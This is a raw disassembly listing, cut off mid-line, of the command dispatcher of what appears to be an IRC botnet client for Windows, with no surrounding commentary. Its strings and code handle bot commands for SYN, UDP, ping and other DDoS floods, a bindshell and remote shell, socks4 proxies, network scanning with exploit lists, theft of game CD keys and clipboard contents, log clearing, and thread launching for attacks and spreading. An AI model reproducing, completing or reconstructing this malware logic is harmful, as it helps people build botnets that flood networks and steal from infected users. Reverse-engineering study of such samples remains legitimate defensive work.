loc_40207C add ecx, 3 mov [eax], ecx loc_4028BB: ; CODE XREF: sub_401CC1+9FFj mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_10], edi call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408C54 push edi push offset aRn ; "rn" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_408C54 push edi push offset aDie ; "die" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404638 push edi push offset aD_2 ; "d" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404638 push edi push offset aLogout ; "logout" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404596 push edi push offset aLo ; "lo" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404596 push edi push offset aDedication ; "dedication" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40458C push edi push offset aDed ; "ded" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40458C push edi push offset aSpeedtest ; "speedtest" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aSt ; "st" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aBindshell ; "bindshell" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40446D push edi push offset aBd ; "bd" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40446D push edi push offset aBindshellstop ; "bindshellstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402A01 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_441B48 loc_4029E5: ; CODE XREF: sub_401CC1+D8Ej ; sub_401CC1+DB4j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40AA8B add esp, 20h jmp loc_40207C ; --------------------------------------------------------------------------- loc_402A01: ; CODE XREF: sub_401CC1+D0Fj push edi push offset aSocks4 ; "socks4" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40434B push edi push offset aS4 ; "s4" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40434B push edi push offset aSocks4stop ; "socks4stop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402A51 push [ebp+esi+var_8C] push 19h push offset aServer_1 ; "Server" push offset dword_441BE0 jmp short loc_4029E5 ; --------------------------------------------------------------------------- loc_402A51: ; CODE XREF: sub_401CC1+D79j push edi push offset aRloginstop ; "rloginstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402A7A push [ebp+esi+var_8C] push 9 push offset aServer_2 ; "Server" push offset dword_441C04 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402A7A: ; CODE XREF: sub_401CC1+D9Fj push edi push offset aHttpstop ; "httpstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402AA3 push [ebp+esi+var_8C] push 3 push offset aServer_3 ; "Server" push offset dword_441C28 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402AA3: ; CODE XREF: sub_401CC1+DC8j push edi push offset aLogstop ; "logstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402ACC push [ebp+esi+var_8C] push 25h push offset aLogList ; "Log list" push offset dword_441C4C jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402ACC: ; CODE XREF: sub_401CC1+DF1j push edi push offset aRedirectstop ; "redirectstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402AF5 push [ebp+esi+var_8C] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_441C78 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402AF5: ; CODE XREF: sub_401CC1+E1Aj push edi push offset dword_441C88 call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402B1E push [ebp+esi+var_8C] push 0Dh push offset dword_441C94 push offset dword_441CA0 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402B1E: ; CODE XREF: sub_401CC1+E43j push edi push offset aSynstop ; "synstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402B47 push [ebp+esi+var_8C] push 0Eh push offset aSynFlood ; "Syn flood" push offset dword_441CC0 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402B47: ; CODE XREF: sub_401CC1+E6Cj push edi push offset aSkysynstop ; "skysynstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402B70 push [ebp+esi+var_8C] push 10h push offset aSkysynFlood ; "SkySyn flood" push offset dword_441CE8 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402B70: ; CODE XREF: sub_401CC1+E95j push edi push offset aTarga3stop ; "targa3stop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402B99 push [ebp+esi+var_8C] push 11h push offset aTarga3Flood ; "Targa3 flood" push offset dword_441D14 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402B99: ; CODE XREF: sub_401CC1+EBEj push edi push offset aWonkstop ; "wonkstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402BC2 push [ebp+esi+var_8C] push 12h push offset aWonkFlood ; "Wonk flood" push offset dword_441D3C jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402BC2: ; CODE XREF: sub_401CC1+EE7j push edi push offset aPacketstop ; "packetstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_402CFD mov esi, [ebp+esi+var_8C] mov edi, [ebp+var_88] push esi push 0Dh push offset aDdosFlood ; "DDoS flood" push offset dword_441D60 push 1 push [ebp+var_4] push edi push [ebp+arg_4] call sub_40AA8B push esi push 0Eh push offset dword_441D6C push offset dword_441D78 push 1 push [ebp+var_4] push edi push [ebp+arg_4] call sub_40AA8B add esp, 40h push esi push 17h push offset dword_441D84 push offset dword_441D90 push 1 push [ebp+var_4] push edi push [ebp+arg_4] call sub_40AA8B push esi push 16h push offset dword_441D9C push offset dword_441DA8 push 1 push [ebp+var_4] push edi push [ebp+arg_4] call sub_40AA8B add esp, 40h push esi push 11h push offset dword_441DB4 push offset dword_441DC4 push 1 push [ebp+var_4] push edi push [ebp+arg_4] call sub_40AA8B push esi push 12h push offset dword_441DD4 push offset dword_441DE0 push 1 push [ebp+var_4] push edi push [ebp+arg_4] call sub_40AA8B add esp, 40h push esi push 0Fh push offset dword_441DEC push offset dword_441DFC push 1 push [ebp+var_4] push edi push [ebp+arg_4] call sub_40AA8B push esi push 13h push offset dword_441E0C push offset dword_441E1C push 1 push [ebp+var_4] push edi push [ebp+arg_4] call sub_40AA8B add esp, 40h push esi push 10h push offset dword_441E2C push offset dword_441E3C push 1 push [ebp+var_4] push edi push [ebp+arg_4] call sub_40AA8B push ebx push [ebp+var_4] push offset unk_441E4C push edi push [ebp+arg_4] call sub_408EB9 add esp, 34h jmp loc_40207C ; --------------------------------------------------------------------------- loc_402CFD: ; CODE XREF: sub_401CC1+F10j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402D26 push [ebp+esi+var_8C] push 0Fh push offset aTsunamiFlood ; "Tsunami flood" push offset dword_441E9C jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402D26: ; CODE XREF: sub_401CC1+104Bj push edi push offset aWisdomstop ; "wisdomstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402D4F push [ebp+esi+var_8C] push 13h push offset aWisdomAttack ; "Wisdom attack" push offset dword_441EC8 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402D4F: ; CODE XREF: sub_401CC1+1074j push edi push offset aUdpstop ; "udpstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402D78 push [ebp+esi+var_8C] push 17h push offset aUdpFlood ; "UDP flood" push offset dword_441EEC jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402D78: ; CODE XREF: sub_401CC1+109Dj push edi push offset aPingstop ; "pingstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402DA1 push [ebp+esi+var_8C] push 16h push offset aPingFlood ; "Ping flood" push offset dword_441F10 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402DA1: ; CODE XREF: sub_401CC1+10C6j push edi push offset aTftpstop ; "tftpstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402DCA push [ebp+esi+var_8C] push 5 push offset aServer_4 ; "Server" push offset dword_441F30 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402DCA: ; CODE XREF: sub_401CC1+10EFj push edi push offset aProcsstop ; "procsstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404333 push edi push offset aPsstop ; "psstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404333 push edi push offset aClonestop ; "clonestop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402E1D push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_441F88 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402E1D: ; CODE XREF: sub_401CC1+1142j push edi push offset aSecurestop ; "securestop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402E46 push [ebp+esi+var_8C] push 22h push offset aSecure ; "Secure" push offset dword_441FAC jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402E46: ; CODE XREF: sub_401CC1+116Bj push edi push offset aScanstop ; "scanstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_402E6F push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_441FD0 jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_402E6F: ; CODE XREF: sub_401CC1+1194j push edi push offset aScanstats ; "scanstats" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40431D push edi push offset aStats ; "stats" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40431D push edi push offset aTransferstats ; "transferstats" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404307 push edi push offset aTrstats ; "trstats" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404307 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4042F1 push edi push offset aCbstats ; "cbstats" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4042F1 push edi push offset aExploitlist ; "exploitlist" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4042DB push edi push offset aExplist ; "explist" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4042DB push edi push offset aReconnect ; "reconnect" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4042BC push edi push offset aR ; "r" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4042BC push edi push offset aDisconnect ; "disconnect" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40429A push edi push offset aDc ; "dc" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_40429A push edi push offset aQuit_0 ; "quit" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404252 push edi push offset aQ ; "q" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404252 push edi push offset aStatus ; "status" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404214 push edi push offset aS ; "s" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_404214 push edi push offset aId ; "id" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4041DD push edi push offset aI_1 ; "i" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4041DD push edi push offset aReboot ; "reboot" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_40303B call sub_416138 test eax, eax mov eax, offset unk_442148 jnz short loc_40300D mov eax, offset unk_442168 loc_40300D: ; CODE XREF: sub_401CC1+1345j push eax lea eax, [ebp+var_2C0] push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 1Ch jmp loc_407C50 ; --------------------------------------------------------------------------- loc_40303B: ; CODE XREF: sub_401CC1+1337j push edi push offset aThreads ; "threads" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4040EF push edi push offset aT ; "t" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4040EF push edi push offset aAliases ; "aliases" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4040CC push edi push offset aAl ; "al" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_4040CC push edi push offset aLo0g ; "lo0g" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403FDC push edi push offset aL0g ; "l0g" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403FDC push edi push offset aClearlog ; "clearlog" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403FC3 push edi push offset aClg ; "clg" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403FC3 push edi push offset aNetinfo ; "netinfo" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403F89 push edi push offset aNi ; "ni" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403F89 push edi push offset aSysinfo ; "sysinfo" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403F5E push edi push offset aSi ; "si" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403F5E push edi push offset aRemov10e ; "remov10e" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403F24 push edi push offset aR010m ; "r010m" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403F24 push edi push offset aProcs ; "procs" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403E01 push edi push offset aPs ; "ps" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403E01 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403DDA push edi push offset aKey ; "key" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403DDA push edi push offset aUptime ; "uptime" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403D53 push edi push offset aUp ; "up" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403D53 push edi push offset aDriveinfo ; "driveinfo" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403D36 push edi push offset aDrv ; "drv" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403D36 push edi push offset aTestdlls ; "testdlls" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403D1D push edi push offset aDll ; "dll" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403D1D push edi push offset aOpencmd ; "opencmd" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403CDE push edi push offset aOcmd ; "ocmd" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403CDE push edi push offset aCmdstop ; "cmdstop" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz short loc_403286 push [ebp+esi+var_8C] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_4424AC jmp loc_4029E5 ; --------------------------------------------------------------------------- loc_403286: ; CODE XREF: sub_401CC1+15ABj push edi push offset dword_4424B8 call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_40339C cmp [ebp+var_8], ebx jnz short loc_4032BA push ebx push [ebp+var_4] push offset dword_4424BC push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_4032BA: ; CODE XREF: sub_401CC1+15DDj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4032C7 ; --------------------------------------------------------------------------- loc_4032C4: ; CODE XREF: sub_401CC1+164Dj mov eax, [ebp+arg_18] loc_4032C7: ; CODE XREF: sub_401CC1+1601j cmp [eax], bl jz short loc_4032CE inc eax jmp short loc_4032D3 ; --------------------------------------------------------------------------- loc_4032CE: ; CODE XREF: sub_401CC1+1608j mov eax, offset dword_4424D0 loc_4032D3: ; CODE XREF: sub_401CC1+160Bj push eax push edi lea eax, [ebp+var_2C0] push offset dword_4424D8 push eax call sub_41B740 push 1 lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4032C4 push offset unk_4424E0 call sub_41458A pop ecx loc_40331B: ; CODE XREF: sub_401CC1+1832j ; sub_401CC1+298Bj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_40207C push [ebp+arg_10] push offset aSpoof ; "spoof" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_404758 push offset aOff ; "off" push edi call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_40465E lea eax, [ebp+var_2C0] push offset unk_442988 push eax mov dword_4E4098, ebx call sub_41B740 pop ecx pop ecx loc_403372: ; CODE XREF: sub_401CC1+2A3Ej ; sub_401CC1+2A64j ... cmp [ebp+var_8], ebx jnz loc_408CA1 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 loc_403394: ; CODE XREF: sub_401CC1+672Bj ; sub_401CC1+6791j add esp, 14h jmp loc_408CA1 ; --------------------------------------------------------------------------- loc_40339C: ; CODE XREF: sub_401CC1+15D4j push edi push offset aGetclip ; "getclip" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403C9D push edi push offset aGc ; "gc" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403C9D push edi push offset aFlusharp ; "flusharp" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403C72 push edi push offset aFarp ; "farp" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403C72 push edi push offset aFlushdns ; "flushdns" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403C4E push edi push offset aFdns ; "fdns" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403C4E push edi push offset aCurrentip ; "currentip" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403C14 push edi push offset aCip ; "cip" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403C14 push edi push offset aRloginserver ; "rloginserver" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403ADC push edi push offset aRlogin ; "rlogin" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403ADC push edi push offset aHttpserver ; "httpserver" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403950 push edi push offset aHttp ; "http" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403950 push edi push offset aTftpserver ; "tftpserver" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403819 push edi push offset aTftp ; "tftp" call sub_41C4C0 pop ecx test eax, eax pop ecx jz loc_403819 push edi push offset aScanall ; "scanall" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_403512 push edi push offset aVall ; "vall" call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_403512 push edi push offset aPhonehome ; "phonehome" call sub_41C4C0 pop ecx test eax, eax pop ecx jnz loc_40331B lea eax, [ebp+var_C0] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_408E73 jmp loc_40213A ; --------------------------------------------------------------------------- loc_403512: ; CODE XREF: sub_401CC1+1810j ; sub_401CC1+1821j mov al, byte_44948A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_44948A jz loc_40207C mov ecx, edx loc_403529: ; CODE XREF: sub_401CC1+1870j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_403529 cmp al, bl jz loc_40207C mov [ebp+arg_18], edx loc_40353E: ; CODE XREF: sub_401CC1+1B43j push 0Bh call sub_40AA45 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_40358D push ecx lea eax, [ebp+var_2C0] push offset unk_442818 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 20h jmp loc_4037FB ; --------------------------------------------------------------------------- loc_40358D: ; CODE XREF: sub_401CC1+1897j or [ebp+var_730], 0FFFFFFFFh cmp dword_4492A8, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4035FE mov eax, [ebp+arg_18] mov esi, offset dword_4492A8 lea edi, [eax-0Ah] loc_4035C8: ; CODE XREF: sub_401CC1+191Fj lea eax, [esi-28h] push edi push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_4035E4 inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_4035C8 jmp short loc_4035FE ; --------------------------------------------------------------------------- loc_4035E4: ; CODE XREF: sub_401CC1+1915j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_4492A8[ecx] mov [ebp+var_74C], ecx loc_4035FE: ; CODE XREF: sub_401CC1+18FAj ; sub_401CC1+1921j cmp [ebp+var_74C], ebx jz loc_40380F push 10h lea eax, [ebp+var_2D0] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D0], esi push [ebp+arg_4] call dword_4E0848 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4E0928 push eax lea eax, [ebp+var_860] push eax call sub_41B1F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C290 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_4036A6 loc_403684: ; CODE XREF: sub_401CC1+19E3j cmp eax, ebx jz short loc_4036A6 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C290 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_403684 loc_4036A6: ; CODE XREF: sub_401CC1+19C1j ; sub_401CC1+19C5j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41B910 push offset dword_4E0764 push offset aXx_0 ; "#xx#" call sub_41C4C0 add esp, 14h test eax, eax jz short loc_403713 push offset aXx_0 ; "#xx#" lea eax, [ebp+var_7D0] push 80h push eax call sub_41B910 add esp, 0Ch jmp short loc_403719 ; --------------------------------------------------------------------------- loc_403713: ; CODE XREF: sub_401CC1+1A35j mov [ebp+var_7D0], bl loc_403719: ; CODE XREF: sub_401CC1+1A50j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_40372B mov eax, offset aSequential ; "Sequential" loc_40372B: ; CODE XREF: sub_401CC1+1A63j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C0] push offset unk_4428A4 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 0Bh push eax call sub_40A7FD add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40BC04 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_4037B5 loc_4037A3: ; CODE XREF: sub_401CC1+1AF2j cmp [ebp+var_71C], ebx jnz short loc_4037D0 push 32h call dword_4F1334 ; Sleep jmp short loc_4037A3 ; --------------------------------------------------------------------------- loc_4037B5: ; CODE XREF: sub_401CC1+1AE0j call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2C0] push offset unk_442910 push eax call sub_41B740 add esp, 0Ch loc_4037D0: ; CODE XREF: sub_401CC1+1AE8j cmp edi, ebx jnz short loc_4037EE push ebx lea eax, [ebp+var_2C0] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_408EB9 add esp, 14h loc_4037EE: ; CODE XREF: sub_401CC1+1B11j lea eax, [ebp+var_2C0] push eax call sub_41458A pop ecx loc_4037FB: ; CODE XREF: sub_401CC1+18C7j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_40353E jmp loc_40207C ; --------------------------------------------------------------------------- loc_40380F: ; CODE XREF: sub_401CC1+1943j push offset unk_442858 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: sub_401CC1+17E6j ; sub_401CC1+17FBj push 5 call sub_40AA45 test eax, eax pop ecx jle short loc_40382F push offset unk_442778 jmp loc_4068C0 ; --------------------------------------------------------------------------- loc_40382F: ; CODE XREF: sub_401CC1+1B62j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403852 push eax mov edi, 104h lea eax, [ebp+var_2550] push edi push eax call sub_41B910 add esp, 0Ch jmp short loc_403866 ; --------------------------------------------------------------------------- loc_403852: ; CODE XREF: sub_401CC1+1B77j mov edi, 104h lea eax, [ebp+var_2550] push edi push eax push ebx call dword_4F132C ; GetModuleFileNameA loc_403866: ; CODE XREF: sub_401CC1+1B8Fj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403876 mov esi, offset byte_43A0E8 loc_403876: ; CODE XREF: sub_401CC1+1BAEj push esi lea eax, [ebp+var_244C] push edi push eax call sub_41B910 mov eax, dword_43A078 push 7Fh push [ebp+var_88] mov [ebp+var_2340], eax mov eax, [ebp+arg_4] mov [ebp+var_2344], ebx mov [ebp+var_2554], eax lea eax, [ebp+var_233C] push eax call sub_41B1F0 mov eax, [ebp+var_4] mov [ebp+var_22BC], eax mov eax, [ebp+var_8] mov [ebp+var_22B8], eax lea eax, [ebp+var_2550] push eax lea eax, [ebp+var_2C0] push [ebp+var_2340] push offset unk_442798 push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 5 push eax call sub_40A7FD add esp, 34h mov [ebp+var_2348], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2554] push ebx push eax push offset sub_4112A8 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_2348] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_40393F loc_403929: ; CODE XREF: sub_401CC1+1C7Cj cmp [ebp+var_22B4], ebx jnz loc_407C2F push 32h call dword_4F1334 ; Sleep jmp short loc_403929 ; --------------------------------------------------------------------------- loc_40393F: ; CODE XREF: sub_401CC1+1C66j call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_4427CC jmp loc_4068A7 ; --------------------------------------------------------------------------- loc_403950: ; CODE XREF: sub_401CC1+17BCj ; sub_401CC1+17D1j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40396F push edi call sub_41B3F0 test eax, eax pop ecx jz short loc_40396F push edi call sub_41B3F0 pop ecx jmp short loc_403974 ; --------------------------------------------------------------------------- loc_40396F: ; CODE XREF: sub_401CC1+1C98j ; sub_401CC1+1CA3j mov eax, dword_43A07C loc_403974: ; CODE XREF: sub_401CC1+1CACj mov esi, [ebp+esi+var_88] mov [ebp+var_2DC4], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_2DB0], eax jz short loc_4039A7 lea eax, [ebp+var_2EC8] push esi push eax call sub_41B740 pop ecx pop ecx jmp short loc_4039D2 ; --------------------------------------------------------------------------- loc_4039A7: ; CODE XREF: sub_401CC1+1CD3j lea eax, [ebp+var_4050] push 104h push eax call dword_4F1330 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4050] push eax call sub_41BA10 add esp, 14h loc_4039D2: ; CODE XREF: sub_401CC1+1CE4j lea eax, [ebp+var_2EC8] push eax call sub_418D00 cmp [ebp+eax+var_2EC9], 5Ch pop ecx jnz short loc_4039FD lea eax, [ebp+var_2EC8] push eax call sub_418D00 pop ecx mov [ebp+eax+var_2EC9], bl loc_4039FD: ; CODE XREF: sub_401CC1+1D26j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3150] mov [ebp+var_3154], esi push 80h push eax call sub_41B910 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_2DB4], eax lea eax, [ebp+var_2EC8] mov [ebp+var_2DB8], edi push eax push [ebp+var_2DC4] push esi call sub_40A019 pop ecx push eax lea eax, [ebp+var_2C0] push offset unk_4426EC push eax call sub_41B740 push ebx lea eax, [ebp+var_2C0] push 3 push eax call sub_40A7FD add esp, 20h mov [ebp+var_2DBC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3154] push ebx push eax push offset sub_40EBF0 push ebx push ebx call dword_4F1338 ; CreateThread mov ecx, [ebp+var_2DBC] imul ecx, 234h cmp eax, ebx mov dword_4537DC[ecx], eax jz short loc_403AB1 loc_403A9F: ; CODE XREF: sub_401CC1+1DEEj cmp [ebp+var_2DA8], ebx jnz short loc_403ACC push 32h call dword_4F1334 ; Sleep jmp short loc_403A9F ; --------------------------------------------------------------------------- loc_403AB1: ; CODE XREF: sub_401CC1+1DDCj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_442728 loc_403ABD: ; CODE XREF: sub_401CC1+1F4Ej ; sub_401CC1+44C5j ... lea eax, [ebp+var_2C0] push eax call sub_41B740 add esp, 0Ch loc_403ACC: ; CODE XREF: sub_401CC1+1DE4j ; sub_401CC1+1F32j ... cmp [ebp+var_8], ebx jnz loc_407C50 push ebx push edi jmp loc_406C3B ; --------------------------------------------------------------------------- loc_403ADC: ; CODE XREF: 